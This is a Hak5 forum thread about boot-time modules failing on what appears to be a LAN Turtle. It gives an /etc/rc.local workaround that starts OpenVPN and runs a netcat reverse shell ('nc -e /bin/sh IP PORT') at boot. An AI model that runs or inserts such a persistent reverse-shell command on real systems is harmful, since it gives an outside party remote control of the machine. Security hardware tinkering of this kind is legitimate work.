Jump to content
Hak5 Forums
Sign in to follow this  
scavmartin

Moduled enabled on boot do not work

Recommended Posts

Posted (edited)

See the following threads, It appears a lot of the modules start on boot does not work. A workaround for anyone reading this is to add the command in /etc/rc.local

 

For example I enable OpenVPN and start a nc reverse shell and my /etc/rc.local looks like this. Note there is no service or systemctl on the turtle

/etc/init.d/openvpn start
#sh reverse shell
 nc -e /bin/sh IP PORT
#Add your commands above this line
exit 0

 

Edited by scavmartin

Share this post


Link to post
Share on other sites

Sorry I forgot to mention I did try to do a /etc/rc.d/S99openvpn symlink to /etc/init.d/openvpn and it did not work. Figured I would mention in case someone else tries that method for services to start on boot.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×